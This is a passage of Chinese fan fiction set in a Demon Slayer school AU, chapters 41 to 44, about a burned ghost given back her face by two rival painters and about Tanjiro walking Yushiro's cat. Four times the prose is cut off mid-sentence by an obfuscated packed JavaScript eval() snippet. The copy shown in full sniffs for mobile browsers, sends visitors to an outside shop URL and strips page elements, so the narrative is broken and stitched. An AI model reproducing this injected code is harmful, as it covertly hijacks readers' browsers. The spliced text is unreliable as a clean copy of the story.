直到鬼褪下那一层颜料,他终于看到了灵的痕迹,那些颜料上附着着淡淡绿色的灵质,他随着那些灵质,来到隔壁果然也在那看到大量的灵质,那些灵质,一路拖行着,最后往窗户那边跑了! “在那里!”炭治郎指向九点钟的方向。 他看到那灵逃跑的背影,随即那背影,又很快幻化出一副新的皮囊,回头朝他们露出一个凶狠的表情。 “啊!是她!” 善逸认识那张脸,正是白天时,在厕所冲他笑的金发美人。 还好,还好,厕所里遇到的不是男生,而是鬼呀。 比起在厕所里遇到鬼,对于善逸来说,遇到足以令他心动的男人更恐怖一点。 “别看了,快去追。” 宇髓到底是靠谱的大人,立刻反应过来,他们必须要抓住这只鬼。否则对方还不知道要偷走多少画,变成画里的人,混入学生中。 “你们跟我来。” 刚刚他们褪去女鬼的一层外皮,已经用掉了不少卸妆水了,现在他们得找新的东西应对。 他带着众人来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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伊之助听了立刻从炭治郎手中拿过最后一瓶浓缩消毒水,一脚踹开大门跑了进去。 “在哪里?在哪里?” “漂亮的皮囊在哪里?” 刚一进门,众人就听到十分沙哑的声音,那声音仿佛是声带被人割开过一样。 这样急切的声音,就算没有绝佳的听力,也能听到其中人焦急。 那女鬼焦急道,就算身后有人,都没有任何反应,直到伊之助一瓶浓缩消毒液砸了上去… “嘿嘿,瞧见了吗!俺也六层了!” 伊之助砸完,就转身朝着宇髓嘚瑟。 只有善逸忍不住翻个白眼,这有什么好嘚瑟的,甘露寺老师一个人洗了对方八层外壳呢。 但他还是不情不愿地跟炭治郎和甘露寺一起替伊之助鼓掌,只有宇髓似乎还有一些不甘心。 而正如宇髓所想的那样了,洗掉了最后一层外壳的女鬼,再也没有任何东西保护,逐渐消失在众人面前,准确地来说,是消失在除了炭治郎以外所有人的面前… “啊啊啊…” 随着只剩下灵体的女鬼惊声尖叫下,整个教学楼都开始晃动,众人能感觉到空气变得冰冷,稀薄… 41.第 41 章 女鬼的惊叫,就连门窗都震碎了。 “小心!” 宇髓立刻护住众人,飞溅玻璃,划伤了他的手臂。 “炭治郎,那女鬼还没有死吗?” 炭治郎:“没有,她…” 炭治郎正准备将所看见却说出来,然而话却卡在喉咙间… 同一时间,周围的异象消失了,除了那一地的碎玻璃。 炭治郎从宇髓的手臂下探出头来,朝那女鬼看去。 “漂亮的画,漂亮的皮囊…” 女鬼依旧用那沙哑的声音,颤抖地伸手翻找着。 在众人眼中,那一张张画,正凭空飘起。 炭治郎从宇髓身后缓缓走了出来,他悲悯地看着那个女鬼。 女鬼背对着他,仅仅只能看到一双手,那是一双鲜血、血肉模糊,且有烧伤痕迹的手… 手中的画全都翻完了,她猛地转身想要继续找,可却对上一双绯红双眸,那双漂亮的眼眸中,此刻倒映着她此时的模样。 一张因大火而面容扭曲损毁的脸… 与此同时她意识到,眼前的男孩可以看到她的存在。 她立刻捂住脸,眼泪从指缝中流下。 “别看,求求你,别看我…” 空气中传来浓浓的悲伤,并且每个人都听到了这话… 甘露寺走到炭治郎身边,担忧地问道:“炭治郎弟弟,你看到了什么?” 炭治郎语气悲悯:“她受了很重的伤,需要用漂亮的画来作遮挡。” 他并没有摹绘出自己所看到的那张恐怖的脸,但同为女性甘露寺,很快就明白了对方话中的意思。 炭治郎缓缓走上前去,轻轻触碰对方的手:“别害怕,我们不会伤害你的。” 那温柔的声音,仿佛带着某种魔力,女鬼逐渐停止哭泣,她缓缓放下手来,小心翼翼地盯着炭治郎。 那双干净的眼眸里,确实没有任何厌恶、恐惧感,更没有把她当作一个怪物来看。 但眼泪却比之前掉得更多了。 炭治郎拿出帕子,替她擦掉眼泪。 “你是觉得那些画中人很漂亮是吗?” 女鬼咬着唇,点了点头。 “可那画是别人用心血,一笔一笔画出来的,他们并不属于你,而且那些也不是你原本的模样不是吗?” 女鬼低下头:“我知道,可是我真的好羡慕那些漂亮的画,好羡慕画中的人,好想再被别人夸奖一次。” 在那场大火之前,她本也是一个漂亮的人,别人看到她,总会夸她长得好看,可自从被大火烧伤后,所有人看她的眼神都变了。 她成了众人眼中的怪物,每个人看她的眼神都在躲闪,就连她自己也受不了镜中的自己,她忍受不了这种巨大的落差,更忍受不了,只能躺在床上当废物,于是在一个大雨天,她结束了自己的生命。 可即使死了,她却依旧要顶着这样一副模样… 她开始躲着人、躲着鬼…直到有一天,她看中一幅叫须磨的画,她被画中的美人深深吸引着,然后穿上了那幅画… 当时有个学生推门而入,看到了她。 “好美~” 学生看呆了,脱口而出。自那以后,她便爱上了这种感觉,穿上更多的画,出现在越来越多的人面前。 “可这一切,都是虚假的。”女鬼的眼泪又一次落下。 当那些可以洗掉颜料的东西落在她身上时,虚假的外壳,始终会剥落,变成这个丑陋的她。 听完她的故事,炭治郎握住她的手:“让我们帮你好吗?” “告诉我们,你原来长什么样,让宇髓老师,把原本的你画出来,好吗?” “嗯。”女鬼含泪点头。 宇髓倒是没有拒绝,反而还臭屁地抬起头。 “我的画技就是这么华丽,就连女鬼也无法自拔地爱上了,哈哈哈!” 善逸恨恨地咬手怕:“可恶啊,早知道我就磨炼画技了!” 能为女性作画,多么好的机会啊! 就在众人商量着该去哪画,怎么画时,一旁的女鬼弱弱地举手。 “那个…其实…我有个心愿…” “什么心愿?”炭治郎问道。 只要能让女鬼成佛离去,他能帮,一定帮。 炭治郎没有拒绝,女鬼嘴角扬起笑容:“我想让愈史郎大师,帮我画脸。” 炭治郎的笑容消失在嘴角… 他怀疑自己听错了。 谁?哪个愈史郎?不会是他想的那个画界大师吧! “不华丽!一点也不华丽!” 听了女鬼的话,宇髓很生气!凭什么不让他来画! 人都是有攀比心的,在听到女鬼的要求后,即使宇髓原本也是愈史郎的粉丝,如今也是膈应起来。 明明他的画技也不错!也很有艺术感!刚刚这女鬼还强制让他画呢! 如今说不要就不要了,这让他如何甘心。 伊之助却是毫不留情地笑了出来:“你被甩了,哈哈被甩了!” 善逸听得噗嗤一笑,也有些憋不住笑。 虽然伊之助有些乱用词语,但某一方面,又说得差不多。 只有甘露寺有些面露难色:“且不说愈史郎大师根本不会画除了珠世以外的任何画,我们就连愈史郎大师在哪都不知道啊。” 听到她的话,女鬼脸上露出沮丧的神色。 看她实在难过,炭治郎举起手来:“我知道。” “我给愈史郎大师家送过蛋糕,所以知道他住哪!” “真的吗?” 甘露寺和女鬼同时眼前一亮,凑到炭治郎面前。两人都想见对方一面,一个是想去欣赏更多珠世,一个则是希望大师替自己画出毁容前的模样。 看着那两双希冀的眼睛,炭治郎感觉自己的心越来越软… 好吧,他实在拒绝不了旁人的请求。 最终,众人浩浩荡荡地前往了愈史郎家。 炭治郎没想到自己又来到了这栋豪华别墅。 在众人期待的目光下,炭治郎深吸一口气,打起勇气,准备按下去。 “喵~” 然而还没有等他按下去,随着一声猫叫,炭治郎眼前一片黑暗,并且脸上还有毛茸茸的触感。 他将那抱着自己脸的东西,抓了下来。 “哇,好可爱的小猫!” “是三花吧。” “这猫的声音有些奇怪呀。” “俺知道,这也是鬼!” 众人七嘴八舌地讨论着这只漂亮的小猫。 炭治郎抱着小猫:“这是愈史郎大师养的猫,叫茶茶丸。” “茶茶丸,好久不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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同样也是无波无澜,没有恐惧,也没有歧视… “喵~”茶茶丸也是伸出爪子来,扒拉着女鬼。 叫声之中带着几分安慰。 显然这一人一猫,都能看到! 好久没有遇到同类的炭治郎显得有些高兴,他兴奋地走上前。 “愈史郎大师,你能看到就太好了!” “能麻烦你帮我们画幅画吗?” “画出这个小姐姐原本的模样。” 对方能看到,这事就好办多了!以愈史郎大师的水平,画出女鬼原本的样子,应该不成问题。 但是… “灶门炭治郎,你再说一遍!” “你竟敢让我画别的女人!” “告诉你,我的手只会画珠世大人!除此之外世间任何丑女我都不会画!” 听到“丑女”两个字,深深刺痛了女鬼,女鬼红着眼低下头。 “你别误会。”炭治郎赶紧安慰道。 “对于愈史郎来说,眼里除了珠世以外,就没有别人了,他不是在说你。” 42.第 42 章 说完,炭治郎面露疑惑。 自己是怎么知道这件事的? 他只是想安慰女鬼,但没想到却对此事,脱口而出,就像自己很早之前就知道这件事了。 看到女鬼的表情,愈史郎也知道自己说得太过激了。 “对不起,我不是在针对你,你不丑。” “只是没有珠世大人好看。”他有些别扭地说道。 随即他还是指着炭治郎道:“所以别想让我替别的女人画画!” “带着你的朋友们离开这里!” “哎呀,愈史郎你就帮帮忙嘛!这是她的心愿,她是真的很喜欢你画的画。” “除了你,没人能干这件事,你看她多可怜呀。” 炭治郎还试图说服对方,然而愈史郎说不画,就不画。哪怕是炭治郎的要求,让他画珠世以外的女人,那也是不可能的。 “算了吧,炭治郎。” 见炭治郎劝了良久,都没有劝动愈史郎,宇髓嗤笑一声开口道。 “我看出来了,这个小子,一点也不华丽。” “根本不能华丽地将女鬼画出来,他只能抱着回忆到死而已。” 他自豪地指向自己:“这么重要的事,还是应该交给本大爷!” “本华丽之神,才能完美地画出女鬼生前的样子。” 其实宇髓的画功也不差,也曾经获得过几次大奖,他本应该在美术界深造,但那天经过鬼灭学院之后。 他心血来潮想来当老师,于是就应聘了。 虽然他如今只是在学校当老师,但这些年来的画功,却也并没有落下。 他朝着空气毛遂自荐道:“你的脸,就让我来画!绝对比这个小鬼好多了。” 说这话时,宇髓神色张扬,本就好看的脸,因为这靠谱的气质更显几分傲气。 只是… “宇髓老师,你说错方向了,女鬼姐姐不在那边。”炭治郎好心地提醒道。 “呵呵…”愈史郎冷笑一声。 但宇髓的话却令他有些不满,这个人说什么都好,不能否认他的画功!这么多年他一直在画珠世小姐,别的不说,就自己的画功,是绝对不允许质疑的。 “就你,还想比过我!” “炭治郎,那女的我来画!但接下来一个月,你每天都要抽时间来茶茶丸散步!” “喵~”茶茶丸晃着尾巴,显然对于这个提议很满意! 炭治郎看着怀中的茶茶丸微笑道:“好…” 但一个好字,还没有说话,宇髓便将她一把拉过去,冲着愈史郎不快道:“都说由我来画了!这里没有你的出场机会,听懂了吗?” “人家一开始拜托的就是我!又不是你!” “谁说她没拜托我!她都抓着我让我画了!说明她从一开始看中的是我的华丽的画技!” 两人开始为谁来画而争吵不休,眼见着两个原本应该画画的人,此刻就要打起来。 炭治郎赶紧插到两人中间,阻止他们。 “好了,好了,你们别吵了。这样吧,一人画一幅,让女鬼姐姐决定用谁的好吗?” 炭治郎的话让两人不再吵了,但却激起强烈的胜负欲。 “那就来比试一下!看看谁画出来的更好!” “小鬼,别被我华丽的画技给吓到了!” 两人放狠话间,又是硝烟弥漫,任谁也插不进去,但好在并没有打起来。 愈史郎走在前面,示意众人进来。 甘露寺满眼兴奋率先跟在后面,她终于可以欣赏到珠世的正品了!不是临摹,也不是仿品,而是真正的由愈史郎大师所画的珠世! 善逸也是满脸激动,他还是第一次进入这种豪宅,想着豪宅里是不是有很多名贵的珍品,万一自己碰坏了什么是不是把自己卖了都赔不起。 伊之助倒是一脸淡定,或许在他看来这豪宅再豪华,也不如吃的来得有吸引力。 大门打开,入眼便是满墙的画作,若大的大堂连个装饰品也没有,只有满墙的珠世… “哇!”甘露寺来到最大的一幅画前,满眼惊叹。 “这笔触,这画风,不愧是愈史郎大师,扑面而来的恋爱感!真的让人好感动。” 这将这份浓重的感情融入画中,那临摹品根本比不上十分之一。 “还真是够华丽的。”宇髓也站在其中一幅画前,满眼欣赏。 虽然刚刚对于愈史郎有些不服气,看在这样神乎奇迹的画技下,他也不得不承认,愈史郎的画技确实有自傲的资本。 更别说其本人还这么年轻,这样的画技,没有几十年,根本练不出来。而那个愈史郎看起来不超过二十五,应该还要更小一点。 在这满屋子美人珠世的包围下,女鬼也露出羡慕的神色,并且忍不住,将手伸向其中一幅画。 “喂,别碰!” 可她的手还没有碰到,就被愈史郎给呵斥了。 女鬼像做错事的孩子缩回手,炭治郎来到她的身边,安抚道:“别担心,你马上就能有自己的脸了。” 众人跟着愈史郎来到画室,这里是他平常画画的地方,各种颜料,画纸都有,并且宇髓和甘露寺看得出来,很多都是珍品,甚至有款颜料,几十年前就停产了。 没想到会在这里遇到。 “喂,别说我欺负你,这里的东西随你用。”愈史郎将正了画的新画珠世收好,拿出一张新纸来放在画板上。 “哼,你就准备欣赏我华丽的艺术吧。”宇髓也不客气,扶起一画板架了起来。 这边两位画家已经就位,但有一个问题,愈史郎能看到女鬼,但宇髓看不到。所以炭治郎只能口头描述女鬼如今的模样。 虽然只是口头描述,但女鬼实在烧伤严重,光听着那些描述,就让人感到害怕,但宇髓都听得格外认真,他在脑内反复构建着女鬼的脸庞、头骨,生怕有一丝不对。 在听完炭治郎所说的每一个字后,他也终于动笔。 那两人坐在画板前,手中画笔如刀,神色凝重,气场十足。炭治郎他们站在后面更是一声不吭,屋内只有画纸上沙沙声。 就连炭治郎怀中的茶茶丸也一言不发,只是用尾巴勾着炭治郎的手臂,直到一个小时后… “咕噜噜~” 有什么东西响了起来,那声音极大,像是猛兽的低吼… 众人朝着伊之助看去。 伊之助也毫不客气道:“这里有吃的吗?” 话说,自进来时,这里就黑漆漆,冷冷清清的,一点人气也没有。 “喵~” 专心画画的愈史郎没有回话,回答他的是茶茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他本和茶茶丸聊得好好的,突然无惨大吵大闹起来,那些咆哮简直吵得他头疼,以前无惨也不这样啊,难道是他讨厌猫? 见炭治郎没事,他们松了一口气。 伊之助不快地指着茶茶丸:“你叫得太多了。” 茶茶丸虽然有些委屈,但是心疼地用爪爪轻轻碰了炭治郎的脸颊。 炭治郎摸了摸茶茶丸:“和茶茶丸你没关系,不要往心里去。” 一段无聊的小插曲过后,他们终于来到甘露寺推荐的那家店。 四人聚餐,甘露寺还拍了一张照片,放在社交账号上。那个账号,她平时都会放一些个人生活情况,比如去艺术展,吃什么好吃的… 她的粉丝不多,但却始终有一个死忠粉为她点赞。 今天也不例外,哪怕这么晚了,那个神秘粉丝也是秒点。 只是看着照片上除甘露寺以外的另外三人,那个男人透过手机,已经恨得牙痒痒,恨不得捏碎手机。 “凭什么!凭什么!这些学生凭什么!” 43.第 43 章 甘露寺不知道,自己的随手一发,便让某个人醋得一晚上没睡。 而食量最大的她,在炭治郎三人,哪怕是伊之助都已经吃完的情况下,又连续吃了一个小时,直至将餐厅的食材全部吃完。 炭治郎还是那个疑问。 吃下去的那些分量去哪了呢? 吃完饭,他们也没有忘记给宇髓他们也带上两份回去。 当他们回到别墅时,那两人还在画画,此时他们都已经将人物的大致轮廓给画出来了。炭治郎便让他们先休息一下,可两人像没听见一样,画笔不停。 这么晚了,都已经凌晨两点了,善逸和甘露寺站在那里直打哈欠,就连伊之助也是靠在炭治郎身上,时不时地垂下头,也是非常困了。 茶茶丸从炭治郎怀中跳了下来,朝门口走了两步,然后回头朝他们叫了一声。 这次不用炭治郎翻译,所有人都明白,这是要他们跟上。 别墅很大,而且黑灯瞎火的,如果没有茶茶丸引路的话,真的很容易迷路。 在茶茶丸的安排下,它给每一个人都安排了一个房间。 炭治郎躺在柔软的床上,却有些睡不着。 他翻了个身,迎面又是一张珠世的画像。这个房间和其他地方一样,挂满了大大小小的珠世画像,每一幅都是神秘忧郁的模样,神态端庄。而上面的每一笔,都是愈史郎亲手所画,掺杂着他的感情。 那从初次见面时,炭治郎就从对方身上闻到一股挥之不去名为思念的感情。 说起味道,愈史郎和茶茶丸似乎还有一种特别的味道,一抹淡淡的血腥味… “无惨,愈史郎和茶茶丸就是你口中的鬼吗?” 夜深人静,四下无人,炭治郎终于问出了心中的疑问。 虽然愈史郎什么也没有说,但是炭治郎都经历过那么多次灵异事件了,他多少也猜到这一人一猫身上,有些秘密。 “不过是两只卑贱的玩意而已。” 提起愈史郎和茶茶丸,无惨就格外愤怒。 他是鬼的始祖,所有的鬼因他的血而诞生,就算是上弦要把血分出去,也要经他同意,可是那两只鬼是例外。 他们是由珠世那个女人创造出来的。 身为鬼,却和鬼杀队联手,而且还苟活到了现在! “无惨,别这样说愈史郎,他可是大师。”炭治郎像教育幼儿园里的孩子一样,批评着无惨的不礼貌。 炭治郎只是想让无惨懂些礼貌,别一天天地不把别人当人,但显然炭治郎这么一说,他更生气了。 这个该死的炭治郎,不仅不继承他的力量,还为了别人说他! “炭治郎!我们才是一条船上的!你…” “喵~” “茶茶丸!” 无惨正在表达着自己的不满,却被一声猫叫打断。 房门轻启,一只三花猫缓缓走了进来,一双圆溜溜地盯着炭治郎,带着渴望。 炭治郎坐起身,朝他身出手:“是要一起睡吗?” “上来吧。” “喵~” 茶茶丸优雅地跳上床,围着炭治郎绕了一圈,然后亲昵地用头蹭了蹭他。 “把这只死猫赶下去!” 如此温馨的场景,无惨却在那里大煞风景,咆哮着不让茶茶丸靠近。 但炭治郎却一把将茶茶丸拥入怀中。 茶茶丸的皮毛很软,又厚又密,油光水滑的,简直令人爱不释手。 如此近的距离,就连心跳声也能听到。猫的心跳似乎有一种魔力,在这样安静的夜晚里,让人感到安心和一股熟悉感,令人不由地沉下心来,就连脑海中烦人的声音都能忽略掉。 “晚安,茶茶丸。” 听着茶茶丸的心跳,一股疲惫感袭来,炭治郎声音逐渐弱了下来。 “晚安,无…” 连无惨的名字都没有说完,过于疲惫的他沉沉睡去,无惨见此也不再说话,只是冷哼一声,安静地待在炭治郎的身体里。 只有茶茶丸,突然抬起头,一双懵懂的眼睛里尽是疑惑。 炭治郎,刚刚似乎还和别人道晚安。 这屋里还有别人吗?喵? 茶茶丸只是一只猫,他什么也不知道,小小的脑袋怎么也想不通的他,于是不再想,将头埋进炭治郎的胸膛。 已经成为鬼百年没有睡觉的他,今晚难得拥有一场好梦。 “弥豆子可是美女啊!” 都不知道睡到什么时间的茶茶丸,被炭治郎这突然其来的一声,给惊醒。他赶紧将小爪爪放在他怀中,急得喵喵直叫。 炭治郎轻笑着,抚摸着他。 “茶茶丸,我没事,只是做了一个梦罢了。” 梦的内容,他记不清了。 但是那绝对不是什么噩梦,相反那是一场好梦,梦中他看到美人,还有吃到好吃的乌冬,给他一种怀念的感觉。 “喵~” 茶茶丸歪了歪头,并不太理解。 但看到炭治郎高兴,他也高兴。 由于房间内门窗都被遮得严严实实,炭治郎看了手机,这才发现已经是上午十点了,他赶紧从床上下来,简单洗漱后,抱着茶茶丸往画室赶去。 他是最后一个到的,其他人都已经来到画室,但善逸表示他们也才到不久。 几人谁也没有大声说话,生怕吵到画室里的两人。 看着两张画板上,那栩栩如生的端坐在那里的少女。显然这两人,都画了一晚上,谁都没有休息,女鬼在他们俩身旁,左看看,右看看,一双眼睛都忙得看不过来。 随着画纸上的人物,在笔下逐渐成形,炭治郎几人不由地屏住呼吸地站在两人身后,整个人都不由地紧张起来,连眼睛也不敢眨,生怕错过什么… 直到那一声几乎同时响起的落笔声。 “我画好了。” 愈史郎和宇髓异口同声道。 众人顺着声音望去,只见两人的画板上,是一张长得一模一样,大约十七八岁的黑色长发,皮肤白皙,眼角带着泪痣的少女。 “是我!这个是我!” 女鬼指着那两幅画,兴奋不已。 那是她曾经无论怎么怀念,都寻不回的东西,如今栩栩如生地跃然于纸上。她站在那里与过去的自己对视,眼泪模糊的视线。 指尖轻触着画纸。 正如女鬼所说,她是个美人。 炭治郎走上前:“快选一张穿上吧。” 看着自己华丽的作品,宇髓顶着一双黑眼圈,满是得意:“这还用选吗?怎么看都是我更华丽一些。” 比起愈史郎给女鬼所画的一身和服,他则是画了一身高定,黑色的鱼尾长服,脖子上戴着华贵的宝石项链,画中的少女高贵迷人。 说这话时,宇髓还瞥了一眼愈史郎,双眼微眯,有些不服气。 这个人好厉害!熬了一夜,居然一点黑眼圈也没有!状态还是这么华丽! 比起画作,显然他更在意的是这个。 愈史郎倒是注意力都在画上,他不屑地冷笑道:“画得像的暴发户。” 看了宇髓所画,他不得不承认对方确实是有本事,但画功虽好,但人物佩戴的珠宝实在太多了!人物画像的重点在人物,而不是这些多余的装饰。 “你懂什么,艺术就是华丽!”宇髓边说,边不知道从哪里掏出一把梳子,给自己整理下发型。 按他的话来说,他把自己搞得更华丽了。 “华丽?我看是拙劣!” “还大师呢,你的眼光真不怎么样!” 这两人一开始还因为艺术理念不同,开始争辩,但吵着吵着开始上升人身攻击,再到后来火药味升级,如果不是炭治郎和甘露寺,一人拉一个,他们简直要打起来。 “你们说我俩谁画得好!” 见谁也没有办法说服谁,他们将凶狠的目光投向炭治郎等人。 “这个…” 甘露寺看着两幅画,左右为难,炭治郎等人也选不出来。 乍一看上去,这两人都画得很好,而以甘露寺专业的眼光来看,愈史郎的画功更好,不愧是业内的大师,无论是色彩还是笔触,都是顶尖的水平,放眼全球能找出同等画功的,都找不出十人。 但是看着眼前这幅画,甘露寺却没有看珠世的那种感动。 相反,宇髓的画功虽然比愈史郎差一点,但是画面整体却更富有人情味。 但不论怎么说,两张画都是好作品,一时之间都难以选择,炭治郎四人怎么也选不出来,所以他们把最终的决定权交给了女鬼,由她来选择自己最终的面容。 女鬼站在两张画前,也是面露纠结。 愈史郎大师的作品她很喜欢,但另一幅珠光宝器的装扮,她也很喜欢。 无论是哪一幅,她都舍弃不了。 “嗯…这幅…那幅…” 随着她的手指不断地移动方向,愈史郎和宇髓的表情也在不断变化,瞧那两人的模样,炭治郎有些担心,女鬼最后的决定,会不会让这两人又打起来。 然而如今的他们什么也做不到,只能等待最终的结果… 一个简单的答案,最终做出的决定仿佛一个世纪那般漫长… “我都要!” 铿锵有力的声音突然响起。 说罢,生怕两位画家不同意,画中的人儿顿时跃出画纸。 众人看到那颜料化成两条线,飞到空中汇集在一起,微风四起,吹得纸张哗哗作响,画中的少女在众人面前一点点显现出来。 少女穿着愈史郎所画的那件和服,端庄典雅,朝着众人微微一笑,随即一个转身,又变成宇髓所画,满身珠光宝气,贵不可言。 但无论是哪张画,当其活动起来时,比在纸张上更美了。 那份美丽是如此的鲜活,令在场的众人都不由地看愣住。 “怎么样?”少女就像换新衣一样,切换着两种转态。 此时屋内没有镜子,她只能用期盼的目光看着众人,但脸上的笑容代表着重新变回原样的她是真的很高兴。 “很漂亮。”炭治郎率先真诚地说道。 “好可爱!”甘露寺也捧着脸,兴奋道,眼中完全是对少女的欣赏。 善逸竖起大拇指:“可爱!可爱极了!” 宇髓自豪地叉腰:“不愧是本大爷的作品!” 愈史郎没有说话,但脸色柔和了点,茶茶丸则走上前亲昵地用头,蹭了蹭少女。而伊之助什么也不懂,但是不断地点头如捣蒜般地附和着。 看着众人认同,少女嘴角带笑,更显动人,画作被赋予了生命力,更为瑰丽。 看着那少女,炭治郎第一次理解到宇髓老师所说:绘画的华丽。 得到认同的少女,周身突然漂浮起白光,她的身影逐渐变淡… “谢谢你们。” 在消失之前,她带着笑容向众人表示感谢。 “她去哪了?”甘露寺带着担忧问道。 炭治郎看着少女离开的方向:“应该是天堂。” 少女就算变成鬼后,也没有伤害任何人,因毁容而自卑的执念让她把自己禁锢在人世间。 而如今少女找回真实的自己,解开心结摆脱了束缚,所以安心地成佛了。 虽然不知道女孩会去哪里,但是众人真心希望正如炭治郎所说,她能前往天堂。 只是这一夜经历了这么多,还见到了女孩的真容,就这么分开了,还真的有些寂寞,炭治郎等人心里还有些空落落的呢。 只是这份伤感还没有维持多久,他们便被愈史郎给踢了出来。 “快滚出去,别打扰我替珠世小姐画画!” 或许是没想到愈史郎一个看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232439|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去瘦弱的画家会有这么大的力气,众人被踢出去,阳光洒在脸上时,表情都还有些呆滞,就算是宇髓也不例外。 即使昨夜愈史郎还帮着他们画像,可此时依旧毫不客气地指着炭治郎他们。 “你们这些麻烦的家伙,安分守己地活着不好吗!尽给我惹麻烦!”他站在黑暗中,怒气冲冲地说道。 说着,未见他有任何动作,大门“碰”地一声关上。 “喂!你小子太嚣张了!有本事出来和俺比划比划!” 或许是因为就这么被赶出来了,所以伊之助有些生气地想敲门把愈史郎拽出来,然而还没等他敲门,那门又自动打开了,冲劲太猛的伊之助如果不是柔韧好,差点摔倒。 还没等他说什么,怀抱着茶茶丸的愈史郎,朝着炭治郎扔出一件东西。 炭治郎接住一看,那是一把钥匙。 “你!记得晚上带茶茶丸散步。” 说完,那扇大门,又重重地关上。 “把院门锁上!” 门后传来愈史郎的声音。 众人看着拿着钥匙的炭治郎顿时面面相觑。 还真是奇怪的人,明明凶巴巴的,看上去很嫌弃他们,但却又能把家里的钥匙无比信任地交给炭治郎。 虽然他们有满肚子的疑问,但显然愈史郎并不会回答他们,而且… “去吃早餐吧。” “我请客。” 解决了这次偷画事件,还帮助了一个女鬼,甘露寺显然心情很好。 他们美美地坐一起吃早餐,吃着美味的早餐,因忙碌而疲惫的身躯得到治愈,虽然炭治郎感觉自己好像忘了什么,但怎么也想不起来。 应该不是什么大事吧,毕竟答应了愈史郎的事,要等到晚上呢! 几人坐在一起边吃早餐边谈天说地,氛围轻松而愉快,直到分开时。 炭治郎带着爽朗的笑容回到家中,奇怪的是今天的面包店,却没有开门,门口放着暂停营业的牌子。 见此,炭治郎顿时心中大惊。 他知道父母不会无缘无故停业,担心家里出什么事的他,立刻绕去后门,想进二楼看看发生什么事了。 然而当他一打开门,便看到母亲急得快哭的模样,以及正在不断联系人找他的父亲。 炭治郎这才意识到他们一行人忽略了什么。 今天可是工作日,也就意味着炭治郎他们需要要上学,虽然昨天晚上都和父母打过招呼,会在外面过夜。 可一夜过去,这都已经大中午了,炭治郎他们都没有去学校,作为班主任的悲鸣屿见三个学生没有来上学,自然要联系家长。 于是便发生炭治郎回家看到的这一幕。 父母为了他,不仅店都没有开,甚至食不下咽,四处寻找着他的下落。 “炭治郎!你给我过来!” 虽然葵枝平常很疼爱孩子们,但面对一夜未归,还没有报平安的炭治郎,显然是气坏了,语气也不由地严厉了几分。 一旁炭十郎也很生气,难得也难得板着脸,指责炭治郎这次不当之处。 炭治郎则是一脸愧疚地跪在地上,乖乖地挨着训。 想来另一边善逸和伊之助也是一样。 葵枝和炭十郎也不是真的生炭治郎的气,只是心爱的孩子一夜未归,又失去联系,他们太过焦急,在确定孩子是跟学校老师在一起后,家长们悬着的心也终于落下。 只是葵枝让炭治郎再三保证,下次哪怕回不来,也要向他们报平安。 炭治郎保证没有下一次了。 这次只是一个意外,他总不可能次次都遇到灵异事件吧。 已经完全习惯无惨存在的炭治郎,完全没有注意到,自己如今正时时刻刻与灵异为伴呢。 在与父母好好谈过后,下午时炭治郎便回学校上课了。 教室里,他看到拉耸着脑袋的善逸和伊之助,果然他们的家长也批评了他们没有报平安的行为,如今两人正在反思。 特别是善逸,也不是他爷爷说了什么,此刻的他更是满脸愧疚,一点活力也没有,直到祢豆子找过来。 “哥哥!” 听到炭治郎平安回来的祢豆子,一下课就来找炭治郎,看到哥哥平安无事,她也终于松了一口气。 “祢豆子酱!” 原本还神色恹恹的善逸,一听到祢豆子的声音,立刻如蒲公英开花般露出笑容,将炭治郎挤开,将昨天晚上的事添油加醋地讲给祢豆子听。 虽然其中多少挪用了其他人的高光,但显然祢豆子听得津津有味,而且为女鬼找到面容且成佛,感到由衷地高兴。 随着女鬼的成佛,旧画室里的画便再也没失窃。 而炭治郎也履行约定,每天晚上都带茶茶丸散步。 茶茶丸真的是一只很聪明的猫,根本不需要炭治郎用牵引绳,就能乖乖地跟在炭治郎身边。就算偶尔离开,也会自己找回来,而且有时还会带着炭治郎找到迷路的孩子,将他们送到警局。 夜晚,月光下的茶茶丸,就宛如一只优雅的妖精。 炭治郎带着他走过空荡的街道,去过儿童公园、河边、商场… 总之,与其说是带着猫去散步,还不如说是两个久别重逢的老友,在享受着悠闲时光。而炭治郎也是真的很喜欢这只聪明可爱勇敢的小猫,不知不觉间被激发了猫奴属性,用自己的零花钱,买了很多猫玩具。 本来这些钱,他还想着好好攒着,找个靠谱的灵能力者,驱除无惨的呢。 可关于茶茶丸的,他却花起来很大方。 就比如,今天他便拿着刚买的仿生玩具鼠,又来找茶茶丸。 “喂,炭治郎!警告你多少遍了!别再买这种幼稚的东西了。” 就在炭治郎给茶花丸拆礼物时,愈史郎不知何时站在后面,一脸阴沉地盯着那只玩具鼠! 44.第 44 章 茶茶丸又不是那种普通的小猫。 